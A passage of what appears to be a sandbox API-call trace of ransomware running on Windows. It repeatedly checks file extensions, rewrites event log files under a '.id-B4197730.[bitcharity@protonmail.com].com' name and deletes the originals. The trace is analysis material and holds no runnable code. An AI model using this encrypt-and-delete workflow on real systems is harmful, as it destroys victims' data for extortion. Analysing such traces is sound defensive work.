(lpString1=".xls", lpString2="evtx") returned -1 [0148.201] lstrlenW (lpString=".xlsx") returned 5 [0148.201] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0148.201] lstrlenW (lpString=".ppt") returned 4 [0148.201] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0148.201] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0148.201] lstrlenW (lpString=".zip") returned 4 [0148.201] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0148.201] lstrlenW (lpString=".rar") returned 4 [0148.201] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0148.201] lstrlenW (lpString=".bz2") returned 4 [0148.201] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0148.202] lstrlenW (lpString=".7z") returned 3 [0148.202] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0148.202] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0148.202] lstrlenW (lpString=".dbf") returned 4 [0148.202] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0148.202] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0148.202] lstrlenW (lpString=".1cd") returned 4 [0148.202] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0148.202] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0148.202] lstrlenW (lpString=".jpg") returned 4 [0148.202] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0148.202] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0148.202] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0148.202] lstrlenW (lpString=".doc") returned 4 [0148.202] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0148.202] lstrlenW (lpString=".docx") returned 5 [0148.202] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0148.202] lstrlenW (lpString=".pdf") returned 4 [0148.202] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0148.202] lstrlenW (lpString=".xls") returned 4 [0148.202] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0148.202] lstrlenW (lpString=".xlsx") returned 5 [0148.202] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0148.202] lstrlenW (lpString=".ppt") returned 4 [0148.202] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0148.202] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0148.203] lstrlenW (lpString=".zip") returned 4 [0148.203] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0148.203] lstrlenW (lpString=".rar") returned 4 [0148.203] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0148.203] lstrlenW (lpString=".bz2") returned 4 [0148.203] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0148.203] lstrlenW (lpString=".7z") returned 3 [0148.203] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0148.203] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0148.203] lstrlenW (lpString=".dbf") returned 4 [0148.203] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0148.203] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0148.203] lstrlenW (lpString=".1cd") returned 4 [0148.203] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0148.203] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0148.203] lstrlenW (lpString=".jpg") returned 4 [0148.203] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0148.203] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0148.203] lstrlenW (lpString="Microsoft-Windows-Ntfs%4WHC.evtx") returned 32 [0148.203] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ec [0148.323] GetFileSizeEx (in: hFile=0x10ec, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=69632) returned 1 [0148.323] CloseHandle (hObject=0x10ec) returned 1 [0148.323] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 0x20 [0148.323] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0148.561] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ec [0148.561] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.561] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.561] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0148.783] GetLastError () returned 0x0 [0148.783] ReadFile (in: hFile=0x10ec, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0148.892] WriteFile (in: hFile=0x10b8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0148.895] ReadFile (in: hFile=0x10ec, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.895] WriteFile (in: hFile=0x10b8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x114, lpOverlapped=0x0) returned 1 [0148.895] SetEndOfFile (hFile=0x10b8) returned 1 [0148.895] CloseHandle (hObject=0x10b8) returned 1 [0148.901] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.902] SetEndOfFile (hFile=0x10ec) returned 1 [0148.903] CloseHandle (hObject=0x10ec) returned 1 [0148.903] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0148.903] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 1 [0148.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0148.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0148.904] lstrlenW (lpString=".doc") returned 4 [0148.904] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0148.904] lstrlenW (lpString=".docx") returned 5 [0148.904] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0148.904] lstrlenW (lpString=".pdf") returned 4 [0148.904] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0148.904] lstrlenW (lpString=".xls") returned 4 [0148.904] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0148.904] lstrlenW (lpString=".xlsx") returned 5 [0148.904] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0148.904] lstrlenW (lpString=".ppt") returned 4 [0148.904] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0148.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0148.904] lstrlenW (lpString=".zip") returned 4 [0148.904] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0148.904] lstrlenW (lpString=".rar") returned 4 [0148.904] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0148.904] lstrlenW (lpString=".bz2") returned 4 [0148.904] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0148.904] lstrlenW (lpString=".7z") returned 3 [0148.904] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0148.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0148.905] lstrlenW (lpString=".dbf") returned 4 [0148.905] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0148.905] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0148.905] lstrlenW (lpString=".1cd") returned 4 [0148.905] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0148.905] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0148.905] lstrlenW (lpString=".jpg") returned 4 [0148.905] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0148.905] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0148.905] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0148.905] lstrlenW (lpString=".doc") returned 4 [0148.905] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0148.905] lstrlenW (lpString=".docx") returned 5 [0148.905] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0148.905] lstrlenW (lpString=".pdf") returned 4 [0148.905] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0148.905] lstrlenW (lpString=".xls") returned 4 [0148.905] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0148.905] lstrlenW (lpString=".xlsx") returned 5 [0148.905] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0148.905] lstrlenW (lpString=".ppt") returned 4 [0148.905] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0148.905] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0148.905] lstrlenW (lpString=".zip") returned 4 [0148.905] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0148.905] lstrlenW (lpString=".rar") returned 4 [0148.905] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0148.905] lstrlenW (lpString=".bz2") returned 4 [0148.905] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0148.905] lstrlenW (lpString=".7z") returned 3 [0148.905] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0148.906] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0148.906] lstrlenW (lpString=".dbf") returned 4 [0148.906] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0148.906] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0148.906] lstrlenW (lpString=".1cd") returned 4 [0148.906] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0148.906] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0148.906] lstrlenW (lpString=".jpg") returned 4 [0148.906] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0148.906] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0148.906] lstrlenW (lpString="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 64 [0148.906] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ec [0148.906] GetFileSizeEx (in: hFile=0x10ec, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=69632) returned 1 [0148.906] CloseHandle (hObject=0x10ec) returned 1 [0148.907] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 0x20 [0148.907] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0148.907] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ec [0148.907] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.907] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.907] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0148.911] GetLastError () returned 0x0 [0148.911] ReadFile (in: hFile=0x10ec, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0148.988] WriteFile (in: hFile=0x10b8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0149.242] ReadFile (in: hFile=0x10ec, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.242] WriteFile (in: hFile=0x10b8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x154, lpOverlapped=0x0) returned 1 [0149.242] SetEndOfFile (hFile=0x10b8) returned 1 [0149.242] CloseHandle (hObject=0x10b8) returned 1 [0149.249] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.249] SetEndOfFile (hFile=0x10ec) returned 1 [0149.250] CloseHandle (hObject=0x10ec) returned 1 [0149.251] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0149.251] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 1 [0149.251] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0149.251] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0149.251] lstrlenW (lpString=".doc") returned 4 [0149.251] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0149.251] lstrlenW (lpString=".docx") returned 5 [0149.251] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0149.251] lstrlenW (lpString=".pdf") returned 4 [0149.251] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0149.251] lstrlenW (lpString=".xls") returned 4 [0149.251] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0149.252] lstrlenW (lpString=".xlsx") returned 5 [0149.252] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0149.252] lstrlenW (lpString=".ppt") returned 4 [0149.252] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0149.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0149.252] lstrlenW (lpString=".zip") returned 4 [0149.252] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0149.252] lstrlenW (lpString=".rar") returned 4 [0149.252] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0149.252] lstrlenW (lpString=".bz2") returned 4 [0149.252] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0149.252] lstrlenW (lpString=".7z") returned 3 [0149.252] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0149.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0149.252] lstrlenW (lpString=".dbf") returned 4 [0149.252] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0149.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0149.252] lstrlenW (lpString=".1cd") returned 4 [0149.252] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0149.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0149.252] lstrlenW (lpString=".jpg") returned 4 [0149.252] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0149.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0149.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0149.252] lstrlenW (lpString=".doc") returned 4 [0149.252] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0149.252] lstrlenW (lpString=".docx") returned 5 [0149.253] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0149.253] lstrlenW (lpString=".pdf") returned 4 [0149.253] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0149.253] lstrlenW (lpString=".xls") returned 4 [0149.253] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0149.253] lstrlenW (lpString=".xlsx") returned 5 [0149.253] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0149.253] lstrlenW (lpString=".ppt") returned 4 [0149.253] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0149.253] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0149.253] lstrlenW (lpString=".zip") returned 4 [0149.253] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0149.253] lstrlenW (lpString=".rar") returned 4 [0149.253] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0149.253] lstrlenW (lpString=".bz2") returned 4 [0149.253] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0149.253] lstrlenW (lpString=".7z") returned 3 [0149.253] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0149.253] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0149.253] lstrlenW (lpString=".dbf") returned 4 [0149.253] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0149.253] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0149.253] lstrlenW (lpString=".1cd") returned 4 [0149.253] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0149.253] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0149.253] lstrlenW (lpString=".jpg") returned 4 [0149.253] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0149.254] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0149.254] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4Operational.evtx") returned 46 [0149.254] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ec [0149.254] GetFileSizeEx (in: hFile=0x10ec, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=69632) returned 1 [0149.254] CloseHandle (hObject=0x10ec) returned 1 [0149.254] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 0x20 [0149.254] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0149.254] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ec [0149.255] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.255] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.255] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0149.340] GetLastError () returned 0x0 [0149.341] ReadFile (in: hFile=0x10ec, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0149.403] WriteFile (in: hFile=0x10dc, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0149.405] ReadFile (in: hFile=0x10ec, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.405] WriteFile (in: hFile=0x10dc, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x130, lpOverlapped=0x0) returned 1 [0149.405] SetEndOfFile (hFile=0x10dc) returned 1 [0149.406] CloseHandle (hObject=0x10dc) returned 1 [0149.409] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.409] SetEndOfFile (hFile=0x10ec) returned 1 [0149.410] CloseHandle (hObject=0x10ec) returned 1 [0149.410] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0149.411] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 1 [0150.240] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0150.240] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0150.240] lstrlenW (lpString=".doc") returned 4 [0150.240] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0150.240] lstrlenW (lpString=".docx") returned 5 [0150.240] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0150.240] lstrlenW (lpString=".pdf") returned 4 [0150.240] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0150.240] lstrlenW (lpString=".xls") returned 4 [0150.240] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0150.240] lstrlenW (lpString=".xlsx") returned 5 [0150.240] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0150.240] lstrlenW (lpString=".ppt") returned 4 [0150.240] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0150.240] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0150.240] lstrlenW (lpString=".zip") returned 4 [0150.240] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0150.240] lstrlenW (lpString=".rar") returned 4 [0150.240] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0150.240] lstrlenW (lpString=".bz2") returned 4 [0150.240] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0150.240] lstrlenW (lpString=".7z") returned 3 [0150.240] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0150.240] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0150.240] lstrlenW (lpString=".dbf") returned 4 [0150.240] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0150.241] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0150.241] lstrlenW (lpString=".1cd") returned 4 [0150.241] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0150.241] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0150.241] lstrlenW (lpString=".jpg") returned 4 [0150.241] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0150.241] lstrlenW 